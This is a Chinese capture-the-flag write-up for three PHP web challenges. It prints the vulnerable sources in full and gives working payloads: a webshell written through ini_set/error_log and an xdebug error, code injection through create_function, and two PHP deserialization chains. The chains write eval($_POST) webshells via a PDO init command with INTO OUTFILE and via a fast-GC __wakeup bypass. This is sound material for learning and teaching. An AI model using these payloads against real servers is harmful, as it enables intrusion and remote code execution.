前言
题目太多要复现不过来了555
官方wp:
红包挑战7
利用xdebug报错写马到错误日志
源码
<?php
highlight_file(__FILE__);
error_reporting(2);
extract($_GET);
ini_set($name,$value);
system(
"ls '".filter($_GET[1])."'"
);
function filter($cmd){
$cmd = str_replace("'","",$cmd);
$cmd = str_replace("\\","",$cmd);
$cmd = str_replace("`","",$cmd);
$cmd = str_replace("$","",$cmd);
return $cmd;
}
审计一下源码,因为我们传入的参数1
外面套了一层单引号,而且过滤了单引号不能进行闭合,所以这里查看目录的命令是写死的
得从上面的extract($_GET);ini_set($name,$value);
入手,我这里尝试过利用这个函数来配置 disabled_function 以禁用filter
函数,但是 disabled_function 不能用ini_set
来写入
这里需要先遍历一下目录查找线索,在/usr/local/lib/php/extensions/
下查看php扩展
发现有xdebug
xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用%00进行截断来触发异常
那么这里就可以考虑利用异常报错
error_log 配置:设置脚本错误将被记录到的文件,即报错信息将被写入到指定路径
利用ini_set
,我们可以实现写马命令执行
payload:
?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>
然后访问1.php即可
红包挑战8
create_function命令注入
<?php
highlight_file(__FILE__);
error_reporting(0);
extract($_GET);
create_function($name,base64_encode($value))();
思路可以直接看我的rce文章
总之就是要先闭合create_function
然后执行命令
这里我们对$name
部分进行注入
payload:
?name=){system("ls /");}/*
于是创建的匿名函数就为
function __lambda_func(){system("ls /");}/*){$code;}
红包挑战9
代码审计
<?php
class user
{
public $id;
public $username;
private $password;
public function __toString()
{
return $this->username;
}
}
class cookie_helper
{
private $secret = "*************"; //敏感信息打码
public function getCookie($name)
{
return $this->verify($_COOKIE[$name]);
}
public function setCookie($name, $value)
{
$data = $value . "|" . md5($this->secret . $value);
setcookie($name, $data);
}
private function verify($cookie)
{
$data = explode('|', $cookie);
if (count($data) != 2) {
return null;
}
return md5($this->secret . $data[0]) === $data[1] ? $data[0] : null;
}
}
class mysql_helper
{
private $db;
public $option = array(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
);
public function __construct()
{
$this->init();
}
public function __wakeup()
{
$this->init();
}
private function init()
{
$this->db = array(
'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
'host' => '127.0.0.1',
'port' => '3306',
'dbname' => '****', //敏感信息打码
'username' => '****', //敏感信息打码
'password' => '****', //敏感信息打码
'charset' => 'utf8',
);
}
public function get_pdo()
{
try {
$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
} catch (PDOException $e) {
die('数据库连接失败:' . $e->getMessage());
}
return $pdo;
}
}
class application
{
public $cookie;
public $mysql;
public $dispather;
public $loger;
public $debug = false;
public function __construct()
{
$this->cookie = new cookie_helper();
$this->mysql = new mysql_helper();
$this->dispatcher = new dispatcher();
$this->loger = new userLogger();
$this->loger->setLogFileName("log.txt");
}
public function register($username, $password)
{
$this->loger->user_register($username, $password);
$pdo = $this->mysql;
$sql = "insert into user(username,password) values(?,?)";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute(array($username, $password));
return $pdo->lastInsertId() > 0;
}
public function login($username, $password)
{
$this->loger->user_login($username, $password);
$sql = "select id,username,password from user where username = ? and password = ?";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute(array($username, $password));
$ret = $stmt->fetch();
return $ret['password'] === $password;
}
public function getLoginName($name)
{
$data = $this->cookie->getCookie($name);
if ($data === NULL && isset($_GET['token'])) {
session_decode($_GET['token']);
$data = $_SESSION['user'];
}
return $data;
}
public function logout()
{
$this->loger->user_logout();
setCookie("user", NULL);
}
private function log_last_user()
{
$sql = "select username,password from user order by id desc limit 1";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute();
$ret = $stmt->fetch();
}
public function __destruct()
{
if ($this->debug) {
$this->log_last_user();
}
}
}
class userLogger
{
public $username;
private $password;
private $filename;
public function __construct()
{
$this->filename = "log.txt_$this->username-$this->password";
}
public function setLogFileName($filename)
{
$this->filename = $filename;
}
public function __wakeup()
{
$this->filename = "log.txt";
}
public function user_register($username, $password)
{
$this->username = $username;
$this->password = $password;
$data = "操作时间:" . date("Y-m-d H:i:s") . "用户注册: 用户名 $username 密码 $password\n";
file_put_contents($this->filename, $data, FILE_APPEND);
}
public function user_login($username, $password)
{
$this->username = $username;
$this->password = $password;
$data = "操作时间:" . date("Y-m-d H:i:s") . "用户登陆: 用户名 $username 密码 $password\n";
file_put_contents($this->filename, $data, FILE_APPEND);
}
public function user_logout()
{
$data = "操作时间:" . date("Y-m-d H:i:s") . "用户退出: 用户名 $this->username\n";
file_put_contents($this->filename, $data, FILE_APPEND);
}
public function __destruct()
{
$data = "最后操作时间:" . date("Y-m-d H:i:s") . " 用户名 $this->username 密码 $this->password \n";
$d = file_put_contents($this->filename, $data, FILE_APPEND);
}
}
class dispatcher
{
public function sendMessage($msg)
{
echo "<script>alert('$msg');window.history.back();</script>";
}
public function redirect($route)
{
switch ($route) {
case 'login':
header("location:index.php?action=login");
break;
case 'register':
header("location:index.php?action=register");
break;
default:
header("location:index.php?action=main");
break;
}
}
}
观察代码,以 getshell 为目的的话,就是两种思路:sql注入写shell 或 file_put_contents写shell
而反序列化的部分在session_decode($_GET['token']);
,session 序列化字符串的存储方式就是键名 | serialize()的序列化字符串
解法一:pdo驱动选项
先看sql连接的部分:
application 类中 debug 参数为 true 的话会调用 log_last_user 进而调用 get_pdo
class mysql_helper
{
private $db;
public $option = array(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
);
public function __construct()
{
$this->init();
}
public function __wakeup()
{
$this->init();
}
private function init()
{
$this->db = array(
'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
'host' => '127.0.0.1',
'port' => '3306',
'dbname' => '****', //敏感信息打码
'username' => '****', //敏感信息打码
'password' => '****', //敏感信息打码
'charset' => 'utf8',
);
}
public function get_pdo()
{
try {
$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
} catch (PDOException $e) {
die('数据库连接失败:' . $e->getMessage());
}
return $pdo;
}
}
因为 __wakeup 的存在,我们无法控制 db
不过注意到这里 option 是可控的,翻一下文档里 option 参数的用法:https://www.php.net/manual/zh/class.pdo.php
在 PDO 驱动中找到更多的 option:https://www.php.net/manual/zh/class.pdo-mysql.php
其中有
可以指定在连接 mysql 时执行的语句,所以可以直接写马
<?php
session_start();
class mysql_helper
{
public $option = array(
PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?=eval(\$_POST[0]);' into outfile '/var/www/html/3.php';"
);
}
class application
{
public $mysql;
public $debug = true;
public function __construct()
{
$this->mysql = new mysql_helper();
}
}
$_SESSION['user'] = new application();
echo session_encode();
/index.php?action=main&token=user|O:11:"application":2:{s:5:"mysql";O:12:"mysql_helper":1:{s:6:"option";a:1:{i:1002;s:64:"select '<?=eval($_POST[0]);' into outfile '/var/www/html/3.php';";}}s:5:"debug";b:1;}
这样就写入了
解法二:绕过wakeup
想 file_put_contents 写马,观察一下 userLogger 类
class userLogger
{
public $username;
private $password;
private $filename;
public function __construct()
{
$this->filename = "log.txt_$this->username-$this->password";
}
public function setLogFileName($filename)
{
$this->filename = $filename;
}
public function __wakeup()
{
$this->filename = "log.txt";
}
public function user_register($username, $password)
{
$this->username = $username;
$this->password = $password;
$data = "操作时间:" . date("Y-m-d H:i:s") . "用户注册: 用户名 $username 密码 $password\n";
file_put_contents($this->filename, $data, FILE_APPEND);
}
public function user_login($username, $password)
{
$this->username = $username;
$this->password = $password;
$data = "操作时间:" . date("Y-m-d H:i:s") . "用户登陆: 用户名 $username 密码 $password\n";
file_put_contents($this->filename, $data, FILE_APPEND);
}
public function user_logout()
{
$data = "操作时间:" . date("Y-m-d H:i:s") . "用户退出: 用户名 $this->username\n";
file_put_contents($this->filename, $data, FILE_APPEND);
}
public function __destruct()
{
$data = "最后操作时间:" . date("Y-m-d H:i:s") . " 用户名 $this->username 密码 $this->password \n";
$d = file_put_contents($this->filename, $data, FILE_APPEND);
}
}
这里的 filename 因为 __wakeup 导致固定为 log.txt,而用户名和密码会直接明文拼接进写入的文件内容
思考绕过这个 __wakeup 的方法,注意到这里面有 __destruct 方法,里面同样可以写马,那么猜测可以采用 fast gc 进行绕过
本地调试一下,加入几个 echo 输出魔术方法的输出顺序
测试payload:
<?php
class userLogger
{
public $username = "<?php phpinfo();?>";
private $filename = "1.php";
private $password = "pass";
}
$a = new userLogger();
echo urlencode(serialize($a));
然后在传入的时候删去最后的}
即%7D
如果没删去的话
可以看到这里影响到了第一次log::des
的顺序,提前到了 app::des
前,但是没有提前到 log::wakeup
前
此时的效果是成功往 log.txt 写入我们的马,否则不会写入
什么意思呢,也就是说这次写文件发生在 log::des
,此时经过 log::wakeup
修改了文件名为 log.txt
这样明显还不够,我们需要 log::des 的操作在 log::wakeup 之前,那么这里需要 mysql_helper 类中的die()
结束所有对象的生命周期,使所有的 des 提前
于是构造payload
<?php
class userLogger
{
public $username = "<?php eval(\$_POST[0]);?>";
private $filename = "2.php";
private $password = "1";
}
class mysql_helper
{
private $db;
public $option = array(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
);
}
class application
{
public $mysql;
public $loger;
public $debug = true;
public function __construct()
{
$this->loger = new userLogger();
$this->mysql = new mysql_helper();
}
}
$c = new application();
echo urlencode(serialize($c));
然后使用 fast gc 触发 app::des,最终调用到 mysql_helper::get_pdo()
mysql_helper
类的$db
属性设置为空,使得mysql_helper::get_pdo()
方法连接数据库失败,执行die()
函数,结束所有对象的生命周期(主要是结束了userLogger,GC回收),导致提前执行了userLogger::__destruct()
这样就能控制文件名为 php 后缀了